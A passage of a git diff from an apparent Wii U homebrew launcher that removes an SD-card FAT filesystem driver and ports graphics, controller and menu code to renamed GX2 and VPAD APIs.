if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); - - OSUnlockMutex(dirIter->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry)); - - int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1); - if(result < 0) - { - free(dir_entry); - r->_errno = result; - OSUnlockMutex(dirIter->dev->pMutex); - return -1; - } - - // Fetch the current entry - strcpy(filename, dir_entry->name); - - if(st) - { - memset(st, 0, sizeof(struct stat)); - st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG; - st->st_nlink = 1; - st->st_size = dir_entry->stat.size; - st->st_blocks = (dir_entry->stat.size + 511) >> 9; - st->st_dev = dir_entry->stat.ent_id; - st->st_uid = dir_entry->stat.owner_id; - st->st_gid = dir_entry->stat.group_id; - st->st_ino = dir_entry->stat.ent_id; - st->st_atime = dir_entry->stat.mtime; - st->st_ctime = dir_entry->stat.ctime; - st->st_mtime = dir_entry->stat.mtime; - } - - free(dir_entry); - OSUnlockMutex(dirIter->dev->pMutex); - return 0; -} - -// NTFS device driver devoptab -static const devoptab_t devops_sd_fat = { - NULL, /* Device name */ - sizeof (sd_fat_file_state_t), - sd_fat_open_r, - sd_fat_close_r, - sd_fat_write_r, - sd_fat_read_r, - sd_fat_seek_r, - sd_fat_fstat_r, - sd_fat_stat_r, - sd_fat_link_r, - sd_fat_unlink_r, - sd_fat_chdir_r, - sd_fat_rename_r, - sd_fat_mkdir_r, - sizeof (sd_fat_dir_entry_t), - sd_fat_diropen_r, - sd_fat_dirreset_r, - sd_fat_dirnext_r, - sd_fat_dirclose_r, - sd_fat_statvfs_r, - sd_fat_ftruncate_r, - sd_fat_fsync_r, - NULL, /* sd_fat_chmod_r */ - NULL, /* sd_fat_fchmod_r */ - NULL /* Device data */ -}; - -static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd) -{ - devoptab_t *dev = NULL; - char *devname = NULL; - char *devpath = NULL; - int i; - - // Sanity check - if (!name) { - errno = EINVAL; - return -1; - } - - // Allocate a devoptab for this device - dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1); - if (!dev) { - errno = ENOMEM; - return -1; - } - - // Use the space allocated at the end of the devoptab for storing the device name - devname = (char*)(dev + 1); - strcpy(devname, name); - - // create private data - sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + strlen(mount_path) + 1); - if(!priv) { - free(dev); - errno = ENOMEM; - return -1; - } - - devpath = (char*)(priv+1); - strcpy(devpath, mount_path); - - // setup private data - priv->mount_path = devpath; - priv->pClient = pClient; - priv->pCmd = pCmd; - priv->pMutex = malloc(OS_MUTEX_SIZE); - - if(!priv->pMutex) { - free(dev); - free(priv); - errno = ENOMEM; - return -1; - } - - OSInitMutex(priv->pMutex); - - // Setup the devoptab - memcpy(dev, &devops_sd_fat, sizeof(devoptab_t)); - dev->name = devname; - dev->deviceData = priv; - - // Add the device to the devoptab table (if there is a free slot) - for (i = 3; i < STD_MAX; i++) { - if (devoptab_list[i] == devoptab_list[0]) { - devoptab_list[i] = dev; - return 0; - } - } - - // failure, free all memory - free(priv); - free(dev); - - // If we reach here then there are no free slots in the devoptab table for this device - errno = EADDRNOTAVAIL; - return -1; -} - -static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath) -{ - const devoptab_t *devoptab = NULL; - char name[128] = {0}; - int i; - - // Get the device name from the path - strncpy(name, path, 127); - strtok(name, ":/"); - - // Find and remove the specified device from the devoptab table - // NOTE: We do this manually due to a 'bug' in RemoveDevice - // which ignores names with suffixes and causes names - // like "ntfs" and "ntfs1" to be seen as equals - for (i = 3; i < STD_MAX; i++) { - devoptab = devoptab_list[i]; - if (devoptab && devoptab->name) { - if (strcmp(name, devoptab->name) == 0) { - devoptab_list[i] = devoptab_list[0]; - - if(devoptab->deviceData) - { - sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData; - *pClient = priv->pClient; - *pCmd = priv->pCmd; - *mountPath = (char*) malloc(strlen(priv->mount_path)+1); - if(*mountPath) - strcpy(*mountPath, priv->mount_path); - if(priv->pMutex) - free(priv->pMutex); - free(devoptab->deviceData); - } - - free((devoptab_t*)devoptab); - return 0; - } - } - } - - return -1; -} - -int mount_sd_fat(const char *path) -{ - int result = -1; - - // get command and client - void* pClient = malloc(FS_CLIENT_SIZE); - void* pCmd = malloc(FS_CMD_BLOCK_SIZE); - - if(!pClient || !pCmd) { - // just in case free if not 0 - if(pClient) - free(pClient); - if(pCmd) - free(pCmd); - return -2; - } - - FSInit(); - FSInitCmdBlock(pCmd); - FSAddClientEx(pClient, 0, -1); - - char *mountPath = NULL; - - if(MountFS(pClient, pCmd, &mountPath) == 0) { - result = sd_fat_add_device(path, mountPath, pClient, pCmd); - free(mountPath); - } - - return result; -} - -int unmount_sd_fat(const char *path) -{ - void *pClient = 0; - void *pCmd = 0; - char *mountPath = 0; - - int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath); - if(result == 0) - { - UmountFS(pClient, pCmd, mountPath); - FSDelClient(pClient); - free(pClient); - free(pCmd); - free(mountPath); - //FSShutdown(); - } - return result; -} diff --git a/src/fs/sd_fat_devoptab.h b/src/fs/sd_fat_devoptab.h deleted file mode 100644 index 8df487a..0000000 --- a/src/fs/sd_fat_devoptab.h +++ /dev/null @@ -1,38 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SD_FAT_DEVOPTAB_H_ -#define __SD_FAT_DEVOPTAB_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -int mount_sd_fat(const char *path); -int unmount_sd_fat(const char *path); - -#ifdef __cplusplus -} -#endif - -#endif // __SD_FAT_DEVOPTAB_H_ diff --git a/src/gui/FreeTypeGX.cpp b/src/gui/FreeTypeGX.cpp index 8ec9562..3e89ef9 100644 --- a/src/gui/FreeTypeGX.cpp +++ b/src/gui/FreeTypeGX.cpp @@ -20,14 +20,15 @@ * along with FreeTypeGX. If not, see . */ -#include "FreeTypeGX.h" #include "video/CVideo.h" #include "video/shaders/Texture2DShader.h" +#include "FreeTypeGX.h" using namespace std; #define ALIGN4(x) (((x) + 3) & ~3) +#include "utils/logger.h" /** * Default constructor for the FreeTypeGX class for WiiXplorer. */ @@ -35,7 +36,7 @@ FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastF { int faceIndex = 0; ftPointSize = 0; - GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR); + GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_MODE_CLAMP_BORDER, GX2_TEX_XY_FILTER_MODE_LINEAR); FT_Init_FreeType(&ftLibrary); if(lastFace) @@ -162,8 +163,8 @@ void FreeTypeGX::unloadFont() { if(itr2->second.texture) { - if(itr2->second.texture->surface.image_data) - free(itr2->second.texture->surface.image_data); + if(itr2->second.texture->surface.image) + free(itr2->second.texture->surface.image); delete itr2->second.texture; itr2->second.texture = NULL; @@ -234,7 +235,7 @@ ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize) //! Initialize texture charData->texture = new GX2Texture; - GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_UNORM_R5_G5_B5_A1, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); loadGlyphData(glyphBitmap, charData); @@ -276,14 +277,14 @@ uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize) void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) { - charData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size); - if(!charData->texture->surface.image_data) + charData->texture->surface.image = (uint8_t *) memalign(charData->texture->surface.alignment, charData->texture->surface.imageSize); + if(!charData->texture->surface.image) return; - memset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size); + memset(charData->texture->surface.image, 0x00, charData->texture->surface.imageSize); uint8_t *src = (uint8_t *)bmp->buffer; - uint16_t *dst = (uint16_t *)charData->texture->surface.image_data; + uint16_t *dst = (uint16_t *)charData->texture->surface.image; int32_t x, y; for(y = 0; y < bmp->rows; y++) @@ -294,7 +295,7 @@ void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0; } } - GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, charData->texture->surface.image, charData->texture->surface.imageSize); } /** diff --git a/src/gui/FreeTypeGX.h b/src/gui/FreeTypeGX.h index 5829fdc..4814866 100644 --- a/src/gui/FreeTypeGX.h +++ b/src/gui/FreeTypeGX.h @@ -23,7 +23,6 @@ #ifndef FREETYPEGX_H_ #define FREETYPEGX_H_ -#include #include #include #include FT_FREETYPE_H @@ -37,7 +36,7 @@ #include #include -#include "dynamic_libs/gx2_functions.h" +#include "common/types.h" /*! \struct ftgxCharData_ * diff --git a/src/gui/GuiElement.h b/src/gui/GuiElement.h index 018b2b3..dda898d 100644 --- a/src/gui/GuiElement.h +++ b/src/gui/GuiElement.h @@ -19,7 +19,6 @@ #include #include -#include #include #include #include @@ -28,11 +27,11 @@ #include #include +#include "common/types.h" #include "sigslot.h" #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" -#include "dynamic_libs/gx2_types.h" #include "resources/Resources.h" #include "system/AsyncDeleter.h" #include "utils/logger.h" diff --git a/src/gui/GuiImage.cpp b/src/gui/GuiImage.cpp index 344b770..d80001d 100644 --- a/src/gui/GuiImage.cpp +++ b/src/gui/GuiImage.cpp @@ -92,7 +92,7 @@ void GuiImage::internalInit(int w, int h) posVtxs = NULL; texCoords = NULL; vtxCount = 4; - primitive = GX2_PRIMITIVE_QUADS; + primitive = GX2_PRIMITIVE_MODE_QUADS; imageAngle = 0.0f; blurDirection = glm::vec3(0.0f); @@ -120,7 +120,7 @@ GX2Color GuiImage::getPixel(int x, int y) return (GX2Color){0, 0, 0, 0}; u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; u32 color_u32 = imagePtr[y * pitch + x]; GX2Color color; @@ -138,7 +138,7 @@ void GuiImage::setPixel(int x, int y, const GX2Color & color) u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0); } @@ -260,7 +260,7 @@ void GuiImage::draw(CVideo *pVideo) // } if(colorVtxsDirty && colorVtxs) { //! flush color vertex only on main GX2 thread - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize); colorVtxsDirty = false; } diff --git a/src/gui/GuiImageAsync.cpp b/src/gui/GuiImageAsync.cpp index f453719..78208b9 100644 --- a/src/gui/GuiImageAsync.cpp +++ b/src/gui/GuiImageAsync.cpp @@ -117,7 +117,7 @@ void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg) int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize); if(iResult > 0) { - pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR); + pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MODE_MIRROR); //! free original image buffer which is converted to texture now and not needed anymore free(buffer); diff --git a/src/gui/GuiImageAsync.h b/src/gui/GuiImageAsync.h index c0f2880..939a2c6 100644 --- a/src/gui/GuiImageAsync.h +++ b/src/gui/GuiImageAsync.h @@ -21,7 +21,6 @@ #include "GuiImage.h" #include "system/CThread.h" #include "system/CMutex.h" -#include "dynamic_libs/os_functions.h" class GuiImageAsync : public GuiImage { diff --git a/src/gui/GuiImageData.cpp b/src/gui/GuiImageData.cpp index 83ad08a..b0c51af 100644 --- a/src/gui/GuiImageData.cpp +++ b/src/gui/GuiImageData.cpp @@ -18,6 +18,8 @@ #include #include "GuiImageData.h" #include "system/memory.h" +#include "video/CVideo.h" +#include "common/gx2_ext.h" /** * Constructor for the GuiImageData class. */ @@ -31,7 +33,7 @@ GuiImageData::GuiImageData() /** * Constructor for the GuiImageData class. */ -GuiImageData::GuiImageData(const u8 * img, int imgSize, int textureClamp, int textureFormat) +GuiImageData::GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) { texture = NULL; sampler = NULL; @@ -49,19 +51,19 @@ GuiImageData::~GuiImageData() void GuiImageData::releaseData(void) { if(texture) { - if(texture->surface.image_data) + if(texture->surface.image) { switch(memoryType) { default: case eMemTypeMEM2: - free(texture->surface.image_data); + free(texture->surface.image); break; case eMemTypeMEM1: - MEM1_free(texture->surface.image_data); + MEM1_free(texture->surface.image); break; case eMemTypeMEMBucket: - MEMBucket_free(texture->surface.image_data); + MEMBucket_free(texture->surface.image); break; } } @@ -74,7 +76,7 @@ void GuiImageData::releaseData(void) } } -void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int textureFormat) +void GuiImageData::loadImage(const u8 *img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) { if(!img || (imgSize < 8)) return; @@ -114,10 +116,10 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t //! Initialize texture texture = new GX2Texture; - GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); //! if this fails something went horribly wrong - if(texture->surface.image_size == 0) { + if(texture->surface.imageSize == 0) { delete texture; texture = NULL; gdImageDestroy(gdImg); @@ -126,35 +128,35 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t //! allocate memory for the surface memoryType = eMemTypeMEM2; - texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size); + texture->surface.image = memalign(texture->surface.alignment, texture->surface.imageSize); //! try MEM1 on failure - if(!texture->surface.image_data) { + if(!texture->surface.image) { memoryType = eMemTypeMEM1; - texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align); + texture->surface.image = MEM1_alloc(texture->surface.imageSize, texture->surface.alignment); } //! try MEM bucket on failure - if(!texture->surface.image_data) { + if(!texture->surface.image) { memoryType = eMemTypeMEMBucket; - texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align); + texture->surface.image = MEMBucket_alloc(texture->surface.imageSize, texture->surface.alignment); } //! check if memory is available for image - if(!texture->surface.image_data) { + if(!texture->surface.image) { gdImageDestroy(gdImg); delete texture; texture = NULL; return; } //! set mip map data pointer - texture->surface.mip_data = NULL; + texture->surface.mipmaps = NULL; //! convert image to texture switch(textureFormat) { default: - case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM: - gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + case GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8: + gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); break; - case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM: - gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + case GX2_SURFACE_FORMAT_UNORM_R5_G6_B5: + gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); break; } @@ -162,10 +164,10 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t gdImageDestroy(gdImg); //! invalidate the memory - GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, texture->surface.image, texture->surface.imageSize); //! initialize the sampler sampler = new GX2Sampler; - GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR); + GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_MODE_LINEAR); } void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) diff --git a/src/gui/GuiImageData.h b/src/gui/GuiImageData.h index 03bc1df..78781ca 100644 --- a/src/gui/GuiImageData.h +++ b/src/gui/GuiImageData.h @@ -17,9 +17,10 @@ #ifndef GUI_IMAGEDATA_H_ #define GUI_IMAGEDATA_H_ -#include #include -#include "dynamic_libs/gx2_functions.h" +#include +#include +#include #include "system/AsyncDeleter.h" class GuiImageData : public AsyncDeleter::Element @@ -29,13 +30,13 @@ public: GuiImageData(); //!\param img Image data //!\param imgSize The image size - GuiImageData(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); //!Destructor virtual ~GuiImageData(); //!Load image from buffer //!\param img Image data //!\param imgSize The image size - void loadImage(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + void loadImage(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); //! getter functions const GX2Texture * getTexture() const { return texture; }; const GX2Sampler * getSampler() const { return sampler; }; diff --git a/src/gui/GuiParticleImage.cpp b/src/gui/GuiParticleImage.cpp index c4915ef..2cfe527 100644 --- a/src/gui/GuiParticleImage.cpp +++ b/src/gui/GuiParticleImage.cpp @@ -51,8 +51,8 @@ GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount) colorVertexs[i * 4 + 2] = 0xff; colorVertexs[i * 4 + 3] = 0xff; } - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); particles.resize(particleCount); @@ -123,6 +123,6 @@ void GuiParticleImage::draw(CVideo *pVideo) ColorShader::instance()->setOffset(positionOffsets); ColorShader::instance()->setScale(scaleFactor); ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors); - ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); + ColorShader::instance()->draw(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); } } diff --git a/src/gui/GuiSound.cpp b/src/gui/GuiSound.cpp index 502a8a2..90fa9dd 100644 --- a/src/gui/GuiSound.cpp +++ b/src/gui/GuiSound.cpp @@ -16,7 +16,6 @@ ****************************************************************************/ #include "GuiSound.h" #include "sounds/SoundHandler.hpp" -#include "dynamic_libs/os_functions.h" GuiSound::GuiSound(const char * filepath) { diff --git a/src/gui/GuiSound.h b/src/gui/GuiSound.h index bb72a3b..b63e40f 100644 --- a/src/gui/GuiSound.h +++ b/src/gui/GuiSound.h @@ -17,7 +17,7 @@ #ifndef GUI_SOUND_H_ #define GUI_SOUND_H_ -#include +#include "common/types.h" #include "system/AsyncDeleter.h" //!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc @@ -28,7 +28,7 @@ class GuiSound : public AsyncDeleter::Element //!\param sound Pointer to the sound data //!\param filesize Length of sound data GuiSound(const char * filepath); - GuiSound(const u8 * sound, int length); + GuiSound(const u8 * sound, s32 length); //!Destructor virtual ~GuiSound(); //!Load a file and replace the old one diff --git a/src/gui/GuiText.cpp b/src/gui/GuiText.cpp index d0ee50f..4bcaea8 100644 --- a/src/gui/GuiText.cpp +++ b/src/gui/GuiText.cpp @@ -14,9 +14,9 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ -#include "GuiText.h" -#include "FreeTypeGX.h" #include "video/CVideo.h" +#include "FreeTypeGX.h" +#include "GuiText.h" FreeTypeGX * GuiText::presentFont = NULL; int GuiText::presetSize = 28; diff --git a/src/gui/GuiText.h b/src/gui/GuiText.h index d0bdea0..a7745b7 100644 --- a/src/gui/GuiText.h +++ b/src/gui/GuiText.h @@ -17,6 +17,7 @@ #ifndef GUI_TEXT_H_ #define GUI_TEXT_H_ +#include "common/gx2_ext.h" #include "GuiElement.h" //!Forward declaration class FreeTypeGX; diff --git a/src/gui/GuiTrigger.h b/src/gui/GuiTrigger.h index 22909de..46a50e1 100644 --- a/src/gui/GuiTrigger.h +++ b/src/gui/GuiTrigger.h @@ -17,8 +17,7 @@ #ifndef GUI_TRIGGER_H_ #define GUI_TRIGGER_H_ -#include "dynamic_libs/os_functions.h" - +#include "common/types.h" //!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element. class GuiTrigger diff --git a/src/gui/VPadController.h b/src/gui/VPadController.h index f8ac65d..83e437d 100644 --- a/src/gui/VPadController.h +++ b/src/gui/VPadController.h @@ -17,8 +17,8 @@ #ifndef VPAD_CONTROLLER_H_ #define VPAD_CONTROLLER_H_ +#include #include "GuiController.h" -#include "dynamic_libs/vpad_functions.h" class VPadController : public GuiController { @@ -37,26 +37,26 @@ public: { lastData = data; - int vpadError = -1; + VPADReadError vpadError = VPAD_READ_NO_SAMPLES; VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) + if(vpadError == VPAD_READ_SUCCESS) { - data.buttons_r = vpad.btns_r; - data.buttons_h = vpad.btns_h; - data.buttons_d = vpad.btns_d; - data.validPointer = !vpad.tpdata.invalid; - data.touched = vpad.tpdata.touched; + data.buttons_r = vpad.release; + data.buttons_h = vpad.hold; + data.buttons_d = vpad.trigger; + data.validPointer = !vpad.tpNormal.validity; + data.touched = vpad.tpNormal.touched; //! calculate the screen offsets - data.x = -(width >> 1) + (int)((vpad.tpdata1.x * width) >> 12); - data.y = (height >> 1) - (int)(height - ((vpad.tpdata1.y * height) >> 12)); + data.x = -(width >> 1) + (int)((vpad.tpFiltered1.x * width) >> 12); + data.y = (height >> 1) - (int)(height - ((vpad.tpFiltered1.y * height) >> 12)); return true; } return false; } private: - VPADData vpad; + VPADStatus vpad; }; #endif diff --git a/src/main.cpp b/src/main.cpp index 3727b95..b0e82ad 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,18 +1,8 @@ -//#include #include "Application.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/fs_functions.h" -#include "dynamic_libs/gx2_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "dynamic_libs/vpad_functions.h" -#include "dynamic_libs/padscore_functions.h" -#include "dynamic_libs/socket_functions.h" -#include "dynamic_libs/ax_functions.h" -#include "fs/fs_utils.h" -#include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" +#include "dynamic_libs/padscore_functions.h" #include "common/common.h" /* Entry point */ @@ -22,33 +12,23 @@ extern "C" int Menu_Main(void) //! Initialize function pointers * //!******************************************************************* //! do OS (for acquire) and sockets first so we got logging - InitOSFunctionPointers(); - InitSocketFunctionPointers(); +// InitOSFunctionPointers(); +// InitSocketFunctionPointers(); log_init("192.168.178.3"); log_print("Starting launcher\n"); +/* InitFSFunctionPointers(); InitGX2FunctionPointers(); InitSysFunctionPointers(); InitVPadFunctionPointers(); InitPadScoreFunctionPointers(); InitAXFunctionPointers(); - +*/ + InitPadScoreFunctionPointers(); log_print("Function exports loaded\n"); - //!******************************************************************* - //! Initialize heap memory * - //!******************************************************************* - log_print("Initialize memory management\n"); - memoryInitialize(); - - //!******************************************************************* - //! Initialize FS * - //!******************************************************************* - log_printf("Mount SD partition\n"); - mount_sd_fat("sd"); - //!******************************************************************* //! Enter main application * //!******************************************************************* @@ -58,10 +38,6 @@ extern "C" int Menu_Main(void) Application::destroyInstance(); - log_printf("Unmount SD\n"); - unmount_sd_fat("sd"); - log_printf("Release memory\n"); - memoryRelease(); log_deinit(); return returnCode; diff --git a/src/main.h b/src/main.h index 0147292..4204cd6 100644 --- a/src/main.h +++ b/src/main.h @@ -2,7 +2,6 @@ #define _MAIN_H_ #include "common/types.h" -#include "dynamic_libs/os_functions.h" /* Main */ #ifdef __cplusplus diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp index 1d0d326..dcccc3c 100644 --- a/src/menu/HomebrewLaunchWindow.cpp +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -61,8 +61,8 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm int yOffset = height * 0.5f - 75.0f; const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str(); - if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) - cpName += strlen("sd:/wiiu/apps/"); + if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0) + cpName += strlen("fs:/wiiu/apps/"); titleText.setText(cpName); titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); diff --git a/src/menu/HomebrewLoader.h b/src/menu/HomebrewLoader.h index 87c7a67..b43f4d5 100644 --- a/src/menu/HomebrewLoader.h +++ b/src/menu/HomebrewLoader.h @@ -3,8 +3,8 @@ #include #include -#include +#include "common/types.h" #include "ProgressWindow.h" #include "system/CThread.h" #include "gui/sigslot.h" diff --git a/src/menu/HomebrewWindow.cpp b/src/menu/HomebrewWindow.cpp index 3a76384..3bbe67e 100644 --- a/src/menu/HomebrewWindow.cpp +++ b/src/menu/HomebrewWindow.cpp @@ -51,12 +51,13 @@ HomebrewWindow::HomebrewWindow(int w, int h) currentLeftPosition = 0; listOffset = 0; - DirList dirList("sd:/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders); + DirList dirList("fs:/", NULL, DirList::Files | DirList::CheckSubfolders, 1); dirList.SortList(); for(int i = 0; i < dirList.GetFilecount(); i++) { + log_printf("%i: %s\n", i, dirList.GetFilepath(i)); //! skip our own application in the listing //!if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0) //! continue; @@ -104,8 +105,8 @@ HomebrewWindow::HomebrewWindow(int w, int h) const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str(); const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : ""; - if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) - cpName += strlen("sd:/wiiu/apps/"); + if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0) + cpName += strlen("fs:/wiiu/apps/"); homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f)); homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); diff --git a/src/menu/MainWindow.cpp b/src/menu/MainWindow.cpp index 6182c80..56b3ef1 100644 --- a/src/menu/MainWindow.cpp 